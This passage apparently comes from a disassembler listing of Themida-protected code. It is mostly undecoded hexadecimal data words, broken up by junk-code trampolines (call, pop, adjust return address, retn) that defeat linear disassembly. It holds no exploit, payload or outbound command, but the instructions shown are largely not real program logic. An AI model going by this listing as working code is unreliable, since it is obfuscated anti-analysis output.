		dd 1C04h, 0C3564600h, 8AEE0C68h, 0ED56FCBBh, 0BDB58B23h
		dd 0F807FA0Eh, 64B9h, 6890F00h,	29000000h, 0FA23FD9Dh
		dd 0E83E8007h, 0A840Fh,	0BA660000h, 2BE959D7h, 0F9000000h
		dd 0C2057E80h, 3A840Fh,	810F0000h, 1Ah,	0EE8h, 0DCC3FD00h
		dd 1C16A20Ah, 55302755h, 8BD2E693h, 0FA1F659Dh,	0F9465B07h
		dd 0BA850F49h, 89FFFFFFh, 0FA074D8Dh, 38E907h, 85010000h
		dd 7FA0E89h, 29E9B589h,	6A07FAh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 1B449DC3h, 28A0Fh, 61600000h
		dd 31659D8Bh, 0E95807FAh, 5, 7CFFCC44h,	41BD83CBh, 7FA1Dh
		dd 0E6840Fh, 0D08A0000h, 7E960h, 62EA0000h, 0B44C9D8Eh
		dd 6585C6FDh, 5407FA06h, 0A68ACA81h, 9668351Ah,	66C8C38Ch
		dd 811256BBh, 32622434h, 0FE9378Dh, 0ED000000h,	72BE330Fh
		dd 4D0A2F4h, 0A996795h,	0B5FF49DDh, 7FA2095h, 0F2DBD89h
		dd 858D07FAh, 7FDA3DDh,	0F618D29h, 0D0FF07FAh, 14E9h, 747D1A00h
		dd 46E7CF4h, 0B77B2A9Bh, 0B8D9FA71h, 0BC67F2BAh, 0F006A7Bh
		dd 689h, 0D59D8B00h, 0FF07FA21h, 0FA1D41B5h, 14830F07h
		dd 0E9000000h, 0Fh, 685E42BFh, 68EFC268h, 2CC19C3h, 0FF2F6F36h
		dd 4820FD0h, 66000000h,	61CEA2BAh, 13E8h, 2ED66E00h, 2B41B8A6h
		dd 95080E85h, 2A3B8743h, 0C923921Bh, 0BE8h, 0ECBACA00h
		dd 0E37E4B89h, 0DBC0F5E0h, 9E9h, 0A70BC700h, 83DEE107h
		dd 5A5B001Eh, 2A2985C7h, 107FAh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 640DB7C3h
		dd 14E95Fh, 794E0000h, 791BA74Fh, 0A02550D2h, 0D0D6C8BFh
		dd 0EA6AE328h, 36064FAh, 0FA153195h, 26D6807h, 0BA666F85h
		dd 3481AB77h, 8502ED24h, 9D95896Fh, 6A07FA2Ch, 0AD9D8BFFh
		dd 6607FA26h, 3A96E381h, 154195FFh, 0B58907FAh,	7FA0FA5h
		dd 59E5BA61h, 8ABA59F7h, 9047FCD8h, 12E9h, 4269D000h, 5D54E9D8h
		dd 130EDE52h, 4FCA3D83h, 5038156Eh, 990D38Bh, 0FA18B99Dh
		dd 0F5858B07h, 0B07FA0Eh, 48840FC0h, 60000000h,	0EE9h
		dd 0DF786500h, 3153DD44h, 4737C856h, 89A81656h,	0FA32119Dh
		dd 95FF6107h, 7FA10FDh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0A4C35242h, 8B7C3F52h, 489FBB0Bh, 0C767B667h
		dd 0FA0B6D85h, 107h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 9D8B47DFh, 7FA1681h, 1561BD83h
		dd 0F0007FAh, 2384h, 0D9B58900h, 6607FA0Ch, 95FFDE8Bh
		dd 7FA0E85h, 0EE9h, 0B18C8F00h,	587B650Ah, 24734ED9h, 0F5B2C91Dh
		dd 254DBD83h, 0F0007FAh, 2784h,	0EE85100h, 0F3000000h
		dd 0C3492FCFh, 54AC3008h, 6DFC88B6h, 24BBB0h, 5A5B3ED3h
		dd 7B995FFh, 9D8B07FAh,	7FA204Dh, 0D29BD83h, 0F0007FAh
		dd 4A84h, 0CD958B00h, 8307FA08h, 0FA2579BDh, 850F0007h
		dd 37h,	0E8D0Fh, 0E9560000h, 7,	42C8198h, 5B7192B1h, 17A595FFh
		dd 6A07FAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 83412EC3h, 0FA1D21BDh, 840F0007h,	24h, 169D9501h
		dd 858107FAh, 7FA20C9h,	4003h, 858194B2h, 7FA1581h, 4003h
		dd 3B49F381h, 0D88B1FE5h, 9D8B310Fh, 7FA019Dh, 5F6D8D8Dh
		dd 0B52907FAh, 7FA2459h, 0FE9h,	0F90C2900h, 5C17EBDEh
		dd 0E856912Ch, 29C2AAE3h, 8D890189h, 7FA076Dh, 6AC233h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 5DD342C3h, 984A8AC7h, 0FE8h,	32D41600h, 0C9604BBh, 0FE9AB1FCh
		dd 26F83472h, 5ABBE680h, 0F044189h, 282h, 0FD68B00h, 0D68B6631h
		dd 5F798D8Dh, 958B07FAh, 7FA0F9Dh, 7E90189h, 0CE000000h
		dd 15F09435h, 0C233552Ah, 20F9958Bh, 418907FAh,	0E0F2BB04h
		dd 0BD834387h, 7FA2B35h, 48840F00h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 7988C353h, 0FFD8BF0Fh, 0FA00C195h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 0F1958B78h, 8307FA17h, 0FA15B5BDh, 850F0107h, 3Ch, 0BB666052h
		dd 5B612AAEh, 2FE9h, 59958B00h,	8B07FA23h, 0FA609BB5h
		dd 6C707h, 8B000000h, 0FA5E9FB5h, 6C707h, 0CF000000h, 14D28166h
		dd 0CB81660Fh, 9589EECCh, 7FA18F5h, 0B6DBD83h, 0F0007FAh
		dd 1DA84h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 9F694720h, 0BAD45E56h, 9D2B4356h
		dd 7FA1D19h, 2F15BD83h,	0F0107FAh, 16885h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 8C66B3A9h, 0BB97BE7Eh, 77DFE476h, 4EFC8D8Bh,	0D78007FAh
		dd 9E96Ch, 5790000h, 0EEBCCC33h, 0C691F17Ah, 0EE80001h
		dd 12000000h, 0FF9BD78Ah, 7D4C7475h, 0E4FCB186h, 259D0B5Eh
		dd 5B07FA2Fh, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0B45E97Bh, 8A8E3C2Dh, 230D68FDh
		dd 0AE96EF1h, 0A000000h, 321DCF31h, 554FF78Ah, 24348108h
		dd 6EF1238Dh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 18h,	0FCC35545h, 0E5DF1F7Fh,	9D89D18Bh, 7FA1741h, 6AFF6Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 616A28C3h, 0FFDE8B99h, 0FA154195h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 8B6159A7h, 0FA110D95h, 1195FF07h, 907FA0Eh, 0FA268595h
		dd 0FC8D8B07h, 6A07FA4Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0CD7BC353h,	4D7DBD2Ah
		dd 0D98D293Bh, 0E907FA00h, 11h,	0FA49E44Dh, 87811541h
		dd 0BE883819h, 0C3A988F9h, 8101FE28h, 2BA7B8D3h, 21BD833Eh
		dd 107FA29h, 2D850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 21C615C3h, 6E92134h
		dd 0AB000000h, 0C5923D1Bh, 8BA6B3E8h, 0BD83FCC0h, 7FA2ACDh
		dd 83097500h, 0FA1899BDh, 1A740007h, 0C08B5350h, 20C9858Bh
		dd 858907FAh, 7FA20C9h,	0E2249D8Dh, 0D3FF07FCh,	0BD83585Bh
		dd 7FA1899h
		dd 50187400h, 0C9858B53h, 8907FA20h, 0FA20C985h, 139D8D07h
		dd 0FF07FCDFh, 0F585BD3h, 687h,	0C9B58900h, 6A07FA14h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 5CA8C351h, 0D59E604Fh, 0E853E7A2h, 8, 2BD4F58Ch
		dd 8D5EA12Eh, 2199523h,	5A5A07FAh, 0F88AC08Bh, 0B6DBD83h
		dd 0F0007FAh, 6085h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 91C3207h, 0FA08498Dh
		dd 0BE807h, 69550000h, 0B6F4E6DDh, 0CEA843E8h, 69B58903h
		dd 5B07FA11h, 2F05BD83h, 0F0007FAh, 1884h, 13E900h, 4C210000h
		dd 65217918h, 10653100h, 0F7120477h, 3254D8E7h,	6DBD833Bh
		dd 7FA0Bh, 26840Fh, 95290000h, 7FA2375h, 2ECDBD83h, 0F0007FAh
		dd 1384h, 0EA816600h, 9E90346h,	0F2000000h, 0B67DBC91h
		dd 0BFDC4607h, 0B6DBD83h, 0F0007FAh, 1A84h, 0CDBD8300h
		dd 7FA2Eh, 0D840Fh, 0B5890000h,	7FA2F81h, 1860Fh, 83FC0000h
		dd 0FA0B6DBDh, 840F0007h, 4Eh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 9DC35040h, 0E82ECE2Dh, 13h
		dd 5693C59Fh, 9895E7AAh, 0AF677B7Ah, 30F16BEEh,	0F80D58BFh
		dd 0D78B665Bh, 17DBD83h, 0F0007FAh, 584h, 0DB816600h, 0BD835E43h
		dd 7FA0B6Dh, 3E840F00h,	0FC000000h, 290DBD83h, 0F0007FAh
		dd 3084h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 5529ADDh,	2BE59D01h, 95FF07FAh, 7FA2645h
		dd 0BED38166h, 89C08BF9h, 0FA1DEDB5h, 0CDBD8307h, 7FA2Ah
		dd 0BD830975h, 7FA1899h, 501A7400h, 8BC08B53h, 0FA158185h
		dd 81858907h, 8D07FA15h, 0FCE28B9Dh, 5BD3FF07h,	99BD8358h
		dd 7FA18h, 53501874h, 1581858Bh, 858907FAh, 7FA1581h, 0DF2C9D8Dh
		dd 0D3FF07FCh, 6A585Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0F60C50C3h, 5D9D8B7Fh, 0E907FA06h
		dd 0Dh,	6588056Ch, 901FEAF1h, 0B04BFB90h, 0CE93Bh, 88900000h
		dd 0E6D6D686h, 0E0E596FFh, 6A6BE7h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 832FA9C3h
		dd 648F1139h, 950BC08Bh, 7FA07CDh, 0B6DBD83h, 0F0007FAh
		dd 32684h, 0D1BD8900h, 8B07FA18h, 0FA0DB99Dh, 75BD8307h
		dd 207FA0Bh, 23840Fh, 8E0F0000h, 4, 0D191BA66h,	0B5BD83FCh
		dd 107FA15h, 0B850Fh, 6E90000h,	20000000h, 0E958EBA9h
		dd 0F38160D4h, 37385813h, 4EFC8D8Bh, 0B58907FAh, 7FA0141h
		dd 6A01FEh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 41ACABC3h, 39A701BAh, 4E844h, 800000h, 5E90000h
		dd 29000000h, 0D868EE5Ah, 12E850h, 0F8F70000h, 0B34FC513h
		dd 0D4F9F24Ch, 93A8CE3Fh, 0A2D3F9CBh, 0AEF503BAh, 448B5A2Eh
		dd 39B30424h, 8B66008Bh, 244489D3h, 58B7B604h, 1810Fh
		dd 6AF80000h, 68D281FFh, 0FF26ABFDh, 0FA154195h, 9D953307h
		dd 6107FA08h, 1671958Bh, 816607FAh, 8D6EB3CBh, 0FA2889BDh
		dd 8B33B307h, 8B661C4Fh, 8B016ADFh, 0BA6050D0h,	40BB92F2h
		dd 2890Fh, 0F58A0000h, 240C8961h, 2C259589h, 858D07FAh
		dd 7FD6A64h, 0EB80D18Bh, 1D0FF94h, 0FA18659Dh, 204F8B07h
		dd 1830Fh, 6AF80000h, 619D8B03h, 9107FA26h, 0D18B6660h
		dd 0FE9h, 28F91E00h, 0D553E142h, 16744705h, 21F815AEh
		dd 8B915061h, 0FA2DB59Dh, 64858D07h, 0E907FD6Ah, 11h, 1892EEE4h
		dd 2297FACFh, 157D5512h, 4B272655h, 6AD0FF2Ch, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 5768C351h, 5BD7BF0Fh, 2889BD8Dh, 4F8B07FAh, 0ACBA661Ch
		dd 8B016A06h, 0FA0F5595h, 7E89107h, 4D000000h, 68A6DE7Ah
		dd 860F4240h, 4, 258BBB66h, 6660505Bh, 0F38BC38Bh, 860F9161h
		dd 17h,	0BE8h, 798FDC00h, 0A5C16BDEh, 585E3289h, 0AC9B531h
		dd 8D5B07FAh, 0FD6A6485h, 0D2816607h, 0D0FF8EA3h, 0E977BA66h
		dd 6A204F8Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0ABE9C353h, 4089F373h,	36A265Dh
		dd 3CBB6653h, 9D295BA6h, 7FA1D8Dh, 0D68B6650h, 6A240C89h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0C38FC356h, 468CEE36h, 8DB4575Bh,	0FD6A6485h
		dd 0B8BA6607h, 66D0FF60h, 8BB272BBh, 0FA4EFC8Dh, 45ADBB07h
		dd 1FE7290h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0D2C35141h, 8B7A5886h, 0FA4EFC85h, 8D295207h, 7FA244Dh
		dd 8900FE5Bh, 0FA27959Dh, 0BA016A07h, 6D49B17Fh, 4E8h
		dd 0FF9FFF00h, 5E860FFh, 1000000h, 0EE3A1A7Ah, 0CE8h, 2F8B4000h
		dd 30071095h, 0C511CF75h, 8B585B95h, 665061DEh,	8B67A1BBh
		dd 0F042444h, 485h, 0E2BA6600h,	0E8008B82h, 10h, 478D294Dh
		dd 71A6698Ch, 284E6C3Bh, 0B84F44C1h, 61605250h,	0D08B310Fh
		dd 895A585Ah, 58042444h, 0DB5958Bh, 858D07FAh, 7FD6A6Eh
		dd 0FF35D280h, 0AD9589D0h, 8307FA2Dh, 0FA2F05BDh, 840F0007h
		dd 9Dh,	83C9D780h, 0FA33EDBDh, 850F0107h, 8Dh, 16C1958Bh
		dd 8D8D07FAh, 7FD6A78h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0C0C35242h, 0BABDCB81h, 36A27A8h, 0AE9h
		dd 313D4800h, 72202418h, 6A75AEB6h, 0FFD38B01h,	11958BD1h
		dd 6607FA1Ch, 2119DB81h, 9D8B016Ah, 7FA2A89h, 8166016Ah
		dd 0FFE92BD3h, 0E8D08BD1h, 0F8616D4Bh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 84C35747h, 16DFBAEFh, 0CF8022B7h
		dd 51206A9Dh, 5AC0D680h, 6AFF6Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 29D99CC3h, 0FA0F699Dh
		dd 4195FF07h, 6A07FA15h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 96E1C353h, 952B71E7h
		dd 7FA2D61h, 0B8h, 519D8B00h, 0B07FA28h, 37840FC0h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0C71CC356h, 831F0A13h, 0FA2BE9BDh, 840F0007h
		dd 0Ah,	0FFD78B66h, 0FA312595h,	858BF907h, 7FA1615h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 21C35545h, 503A03C1h
		dd 5810Fh, 81660000h, 5A9BFCC3h, 6A0000C6h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0C42FC353h
		dd 36EFB0DFh, 8B3FFC72h, 0FA2F5D9Dh, 95895807h,	7FA286Dh
		dd 80D98C66h, 0C1F60DF7h, 80840F04h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 747AC350h, 56BB741Bh, 0E94600A8h, 57h, 0D7C38166h, 3D9589B3h
		dd 8B07FA23h, 0FA1505B5h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 319B4722h
		dd 0FA07B195h, 80C68107h, 0E9000011h, 10h, 0D49E51DFh
		dd 1C0D7F7Ah, 0F8AE635Ah
		dd 0FDA5390h, 6C7h, 5EF90000h, 0AAD38166h, 0F8830Ch, 0BAC840Fh
		dd 0F8830000h, 2E850F01h, 6A000001h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0F32C356h
		dd 28Ah, 0B8DC8A00h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+7FA08B5h],	edi
		or	eax, eax
		jz	loc_58A022
		push	0
		push	edx
		call	sub_589F91
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589F91	proc near		; CODE XREF: Themida_:00589F89p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_589F91	endp

; ---------------------------------------------------------------------------
		db 14h,	0A6h, 76h
		dd 8AB26053h, 6840FD8h,	8B000000h, 0FA16C995h, 1F88307h
		dd 9A840Fh, 0FCBB0000h,	6659F572h, 7506DA81h, 0F03F883h
		dd 1C84h, 859D8900h, 2B07FA08h,	498D89C0h, 8D07FA0Eh, 5B89E0BDh
		dd 0FFDF8B00h, 0C4BA66E7h, 1B860h, 81660000h, 8DD836F3h
		dd 5B89E0BDh, 0E59D8B00h, 0FF07FA29h, 55006AE7h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
; ---------------------------------------------------------------------------
		jb	short loc_58A04B


loc_58A022:				; CODE XREF: Themida_:00589F80j
		lea	edi, [ebp+7FA4588h]
		push	0
		push	edx
		call	sub_58A033
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A033	proc near		; CODE XREF: Themida_:0058A02Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_58A033	endp

; ---------------------------------------------------------------------------
		db 0E4h
		dd 9CEE46F9h
		db 0BCh, 5Eh, 0A2h
; ---------------------------------------------------------------------------


loc_58A04B:				; CODE XREF: Themida_:0058A020j
		bound	edx, [esi-17h]
		sbb	[ebx], eax
; ---------------------------------------------------------------------------
		dd 0B5290000h, 7FA1F2Dh, 4F5785C7h, 507FAh, 8B660000h
		dd 5B8DAh, 0DE8B0000h, 9D4E9h, 0D958B00h, 8B07FA10h, 0FA2F0D9Dh
		dd 2F88307h, 113850Fh, 0EFBA0000h, 0B83F5DD1h, 0
; ---------------------------------------------------------------------------
		jno	loc_58A09B
		mov	edx, 68B9AD67h


loc_58A09B:				; CODE XREF: Themida_:0058A090j
		or	eax, eax
		jz	loc_58A14F
		push	0
		push	esi
		call	sub_58A0AE
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A0AE	proc near		; CODE XREF: Themida_:0058A0A6p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_58A0AE	endp

; ---------------------------------------------------------------------------
		dw 8A9Fh
		dd 1F883F0h, 0FF8E840Fh, 6AFFFFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 37D134C3h, 6181E7A6h
		dd 667BAD86h, 5151DBBAh, 5AD0BF0Fh, 0F03F883h, 0FFFEEC84h
		dd 0D0B70FFFh, 0E95DB760h, 10h,	255EC911h, 67E3136Eh, 0E4A1F4C7h
		dd 6623A1ADh, 0B861h, 0BD890000h, 7FA14DDh, 5850F60h, 0BB000000h
		dd 1A59214Dh, 0AD8589h,	8D6107FAh, 5B89E0BDh, 59D8B00h
		dd 0FF07FA18h, 559D89E7h
; ---------------------------------------------------------------------------
		sub	edi, edx
		pop	es


loc_58A14F:				; CODE XREF: Themida_:0058A09Dj
		lea	edi, [ebp+7FA4780h]
		jmp	loc_58A16B
; ---------------------------------------------------------------------------
		dw 0F9E8h
; ---------------------------------------------------------------------------
		add	ah, [ecx+41h]
		mov	dl, 0B4h
		dec	ebx
		jnp	short loc_58A19A
		cmp	ebp, ss:[ebx-4047FB6Bh]


loc_58A16B:				; CODE XREF: Themida_:0058A155j
		jmp	loc_58A36B
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_58A17B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A17B	proc near		; CODE XREF: Themida_:0058A173p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_58A17B	endp

; ---------------------------------------------------------------------------
		db 24h
		dd 0AD958B3Bh, 2907FA0Ch, 0FA2039BDh
		db 7, 83h
; ---------------------------------------------------------------------------


loc_58A19A:				; CODE XREF: Themida_:0058A162j
		clc
		add	ecx, [edi]
		test	[edx], edx
; ---------------------------------------------------------------------------
		db 0
		dd 0D88B0000h, 4914BD8Dh, 5B5307FAh, 1BAE9h, 0DEBF0F00h
		dd 0F05F883h, 4A85h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 1B5172DDh, 0AD07E373h
		dd 8501FA32h, 7FA2DE5h,	68E0Fh,	95030000h, 7FA0205h, 84CE9h
		dd 9E900h, 21F20000h, 0CBDD2CA8h, 8364E753h, 850F06F8h
		dd 6Ah,	11199D03h, 0BD8D07FAh, 7FA4B0Ch, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ah, 96C35040h, 8997E74Ch
		dd 10E9CA3Ch, 0D5000000h, 0A55154CDh, 4637899h,	6C97B4FEh
		dd 0E9D9462Ah, 113h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0DFC35242h, 22B1958Bh, 0F88307FAh, 8E850F07h
		dd 89000000h, 0FA1F798Dh, 959D8B07h, 8D07FA0Ch,	0FA0311BDh
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 6063D5B9h, 214D8D8Bh, 0C4BA07FAh, 614ACDF8h
		dd 9E9h, 0C55E6900h, 0D30C1BACh, 16E9E4E7h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0C94DC352h, 4D2EDF82h, 9BD3160h, 8907FA16h
		dd 0FA2AD59Dh, 0E9566107h, 8, 0AA59DEF7h, 39BC6D50h, 0AF8835Bh
		dd 51850Fh, 0D3810000h,	82AC5A2h, 4D04BD8Dh, 0BF0F07FAh
		dd 3DE9D0h, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 2A6DDEC3h, 0D3FD29DDh, 0E9C092E6h
		dd 13h,	25D36A62h, 55D63781h, 0F7C98899h, 0FAC23544h
; ---------------------------------------------------------------------------
		or	al, 60h
		cmc


loc_58A36B:				; CODE XREF: Themida_:loc_58A16Bj
		push	edi
		mov	dx, ax
		mov	ecx, 505DF03Ah
		mov	edx, ecx
		cmp	dword ptr [edi], 0
		jz	loc_58A3E5
		push	0
		push	edi
		call	sub_58A38A
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A38A	proc near		; CODE XREF: Themida_:0058A382p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_58A38A	endp

; ---------------------------------------------------------------------------
		dw 4DDCh
		dd 869005C4h, 8986962Eh, 0FA101D8Dh, 0E80F3007h, 8, 85336C8Eh
		dd 3821E246h, 234D952Bh, 0D15A07FAh, 898BBC9h, 0E9476C21h
		dd 0Eh,	0AA065255h, 39266FF7h, 56168C9Eh, 97E90957h, 89FFFFFFh
		dd 0FA2E91B5h
; ---------------------------------------------------------------------------
		pop	es


loc_58A3E5:				; CODE XREF: Themida_:0058A379j
		pop	edi
		movsx	edx, dx
		mov	[ebp+7FA4F00h],	edi
		mov	edx, 5345BDE9h
		lea	ecx, [ebp+7FA1FA1h]
		cld
		push	dword ptr [ebp+7FA0EBDh]
		push	0
		push	ebx
		call	sub_58A40C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A40C	proc near		; CODE XREF: Themida_:0058A404p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_58A40C	endp

; ---------------------------------------------------------------------------
		dd 74A672B0h, 893EE6A7h, 0FA2EB185h, 8A858D07h,	5007FCD3h
		dd 56FDBD8Dh, 8D8D07FAh, 7FA7002h, 831ABCB8h, 30CF2B54h
		dd 47C8D007h, 8DF87549h, 0FA6FA4B5h, 1A8D8D07h,	2B07FA70h
		dd 33A4F3CFh, 0B8C9h, 0C00B0000h, 0BD834674h, 7FA2BE9h
		dd 0FF067400h, 0FA312595h, 0B58B07h, 8D07FA4Fh,	0FCD38A85h
		dd 8DD0FF07h, 0FA435485h, 0C7D0FF07h, 0FA067185h, 107h
		dd 0B1A58B00h, 8B07FA2Dh, 0FA32C5B5h, 0D5AD8B07h, 3307FA1Dh
		dd 0CC2C0h, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 1Ah,	4AC35646h, 0E79EA282h, 6A9209h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0D7B731C3h
		dd 1B8A4EBEh, 0E860C832h, 0Fh, 2E343835h, 0BF8A0AD4h, 2904E432h
		dd 52730916h, 81B25F5Eh, 0F1BD8361h, 7FA26h, 2B840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 6F6A36C3h, 711C1213h, 0FF769851h, 0FA152195h, 5BD8307h
		dd 7FA2Ch, 1BA850Fh, 0BF0F0000h, 0EDBD83DFh, 107FA33h
		dd 1AA850Fh, 870F0000h,	6, 2FA99D8Bh, 6ABA07FAh, 830C163Ch
		dd 0FA000DBDh, 840F0007h, 18Ch,	2405D281h, 85890F7Eh, 7FA29C9h
		dd 4F53BD83h, 0F0007FAh, 17384h, 858B6000h, 7FA296Dh, 0E024BF66h
		dd 8A858D61h, 6A07FCD3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0BE0AC356h,	3F14CC0Bh
		dd 0A98D890Eh, 8B07FA23h, 0FA4F00B5h, 0FFF48A07h, 89D8B2D0h
		dd 0FA0D598Dh, 6585C607h, 5407FA06h, 0E8D8B70Fh, 4, 0FF4EBEF4h
		dd 2850Fh, 0D68B0000h, 0FE32BB50h, 448B26DCh, 54B70424h
		dd 6053008Bh, 61D78B66h, 2444895Bh, 7EB66004h, 0FB8B5250h
		dd 5A56310Fh, 5861585Ah, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 19h, 0E1C35646h, 12DCABF4h, 0A5B5FF5Fh, 6A07FA08h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0A63AC356h, 52496C0Ch, 0D3BA6612h, 0E2858DDFh
		dd 6A07FA3Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 30A9C353h, 3829DE87h, 13DB93B8h
		dd 5E9h, 0DFA61F00h, 0D0FFF162h, 22E19D8Bh, 6A07FAh, 0FF6A6DB3h
		dd 0F88AD0FFh, 212DB5FFh, 6A07FAh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 816698C3h, 0FFCF88D3h
		dd 0FA0EBD95h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0B173519Ah, 0C1E68027h
		dd 4F00B58Bh, 958907FAh, 7FA2955h, 2C9D9D8Bh, 6AC307FAh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 1949C355h, 1615B58Bh, 0B52907FAh,	7FA0CCDh
		dd 840FF60Bh, 28h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0DFC35646h, 0C6ACE145h, 0B5010006h, 7FA15E5h
		dd 4F088589h, 0FE807FAh, 0A0000000h, 231C79Ah, 934B8C69h
		dd 4526539Ch, 810FE972h, 6, 16ED9501h, 835A07FAh, 840F00F8h
		dd 34Ah, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Dh,	4DC35040h, 226C6FFDh, 24B2D189h, 0A19D8BF2h, 0B807FA0Fh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_58A7E3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A7E3	proc near		; CODE XREF: Themida_:0058A7DBp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_58A7E3	endp

; ---------------------------------------------------------------------------
		db 0E3h
